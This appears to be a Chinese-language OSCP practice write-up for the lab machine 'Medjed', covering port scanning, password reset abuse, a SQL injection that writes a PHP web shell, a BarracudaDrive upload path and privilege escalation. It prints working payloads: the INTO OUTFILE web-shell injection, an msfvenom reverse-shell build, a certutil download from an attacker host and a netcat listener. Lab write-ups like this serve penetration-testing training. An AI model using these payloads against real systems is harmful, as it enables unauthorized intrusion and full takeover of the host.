OSCP Medjed Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Medjed

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

方法一: HTTP 33033 后台用户密码重置(页面用户信息) –> 根据 HTTP 45332 phpinfo 和 HTTP 33033 后台 SQL 注入写入一句话木马 –> jerren 用户权限 –> 用户旗帜

方法二: BarracudaDrive 后台文件管理上传反弹 shell –> jerren 用户权限 –> 用户旗帜

权限提升:

BarracudaDrive 本地提权(不安全的文件权限) –> 系统 system 权限 –> 管理员为旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sudo nmap -p- 192.168.139.127 --min-rate=2000

PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
5040/tcp open unknown
7680/tcp open pando-pub
8000/tcp open http-alt
30021/tcp open unknown
33033/tcp open unknown
44330/tcp open unknown
45332/tcp open unknown
45443/tcp open unknown
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
udo nmap -p135,139,445,3306,5040,7680,8000,30021,33033,44330,45332,45443,49664,49665,49666,49667,49668,49669 -sCV 192.168.139.127

PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
5040/tcp open unknown
7680/tcp closed pando-pub
8000/tcp open http-alt BarracudaServer.com (Windows)
|_http-open-proxy: Proxy might be redirecting requests
...snip...

30021/tcp open ftp FileZilla ftpd 0.9.41 beta
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
...snip...

33033/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| GetRequest, HTTPOptions:
| HTTP/1.0 403 Forbidden
...snip...

45332/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Quiz App
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-09-18T14:25:37
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: -2s, deviation: 0s, median: -2s

系统为 Windows 环境,开放有 HTTP、MYSQL、FTP 和 Windows 的一些默认服务。

3.2 渗透测试突破边界

3.2.1 SQL 注入写入 web shell(方法一)

靶机 FTP 存在匿名访问,可使用 curlftpfs 工具将其挂在至 kali,检索目录未发现有价值信息。

1
sudo curlftpfs -o codepage=utf-8 ftp://anonymous:anonymous@192.168.139.127:30021 /mnt

依次访问靶机 HTTP 服务,可得到 3 个 web 页面。

HTTP 8000

HTTP 33033

HTTP 45332

目录枚举过程中,在 HTTP 45332 可得到 phpinfo 信息,没有其他有价值发现。

HTTP 8000 端口部署了 BarracudaDrive v6.5 应用,使用 searchsploit 检索发现历史存在本地提权漏洞,先搁浅。

HTTP 33033 存在登录接口,可通过用户提示符重置用户密码。

Web 主页泄漏了人员姓名和描述信息。

根据人员姓名和描述信息尝试重置用户密码,最终可通过 jerren.devops\paranoid 重置 jerren.devops 用户密码。

靶机的登录和重置密码接口,无论成功与失败在响应包均会跳转至登录页面,这也导致使用 hydra 或 ffuf 工具枚举爆破没办法指定判断条件,但是仍可利用 fuff 工具进行模糊测试,通过 cewl 收集主页字符串作为提示符密码本,然后使用 ffuf 进行用户重置密码,最后逐个用户名尝试登录。

使用 jerren.devops 用户登录后台,点击 edit - request profile slug

在接口输入 1' 发现服务器返回 SQL 语法错误,而输入 1' or 1=1# 时返回正常,由此判断大概率存在 SQL 注入。

通过 union 联合注入配合之前的 phpinfo 信息,可尝试写入一句话木马。

首先判断列数为 1。

1
2
1' order by 2#
1' order by 1#

写入一句话木马。

1
1' union select "<?php echo system($_GET['cmd']);?>" into outfile "C:\\xampp\\htdocs\\cmd.php"#

利用写入的木马执行 whoami

接下来只需要上传 nc 或者 exe 的反弹 shell,即可得到 jerren 用户 shell。

3.2.2 BarracudaDrive 后台写入 web shell(方法二)

当我们访问 BarracudaDrive cms admin 时,系统会让我们自己设置后台用户名和密码。

设置成功后,系统会自动进入后台页面,点击 web-file-server 发现 fs 目录具有读写权限,fs 目录包含靶机全部文件信息,甚至可在靶机读取写入任意文件。

找到 phpinfo 文件所在目录,然后上传 php reverse shell,得到靶机 jerren 用户权限。

1
2
rlwrap nc -lvnp 8000
https://www.revshells.com/

3.2.3 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 BarracudaDrive 不安全目录提权至系统 system

BarracudaDrive v6.5 存在本地提权漏洞,利用该漏洞可提升至靶机 system 权限。

参考链接:

1
https://www.exploit-db.com/exploits/48789

使用 msfvenom 生成 exe 格式的反弹 shell,然后将靶机 bd.exe 替换为反弹 shell,注意: 先将原文件重命名再进行替换。

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.227 LPORT=8000 -f exe -o bd.exe
1
certutil -urlcache -split -f http://192.168.45.227/bd.exe

使用 msf handler 监听本地 8000 端口,在靶机执行重启命令,等待系统重启完成,得到系统 system 权限。

1
shutdown /r /t 0

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨